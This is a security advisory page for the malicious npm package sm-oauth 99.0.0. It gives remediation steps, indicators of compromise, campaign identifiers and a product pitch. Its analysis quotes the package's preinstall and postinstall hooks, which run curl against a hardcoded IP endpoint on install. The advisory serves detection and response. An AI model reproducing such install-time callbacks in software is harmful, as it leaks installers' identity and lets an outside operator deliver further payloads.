Which versions of sm-oauth are malicious?

The following npm versions of sm-oauth are flagged malicious: 99.0.0. Treat any of these as compromised.

How do I remediate sm-oauth if I installed it?

Remove sm-oauth from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed sm-oauth — how do I know if it already compromised me?

If sm-oauth was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is sm-oauth part of a known attack campaign?

Yes — sm-oauth is associated with the IN-MAL-2026-018611, GHSA-9v7m-8hh3-3mc3 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find sm-oauth across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for sm-oauth (version 99.0.0).

Malicious package

sm-oauthnpm

Advisory published Aug 24, 2026Updated Aug 24, 2026

sm-oauth is a confirmed malicious npm package (MAL-2026-14398) that executes malicious code on install (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sm-oauth (npm)

MAL-2026-14398

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall sm-oauth

What this malware does

package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.0.0

Indicators of compromise (SHA-256)

98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc

23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for sm-oauth (version 99.0.0).
If you installed it — respond
Remove sm-oauth from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sm-oauth was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. sm-oauth on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-018611GHSA-9v7m-8hh3-3mc3

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks sm-oauth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database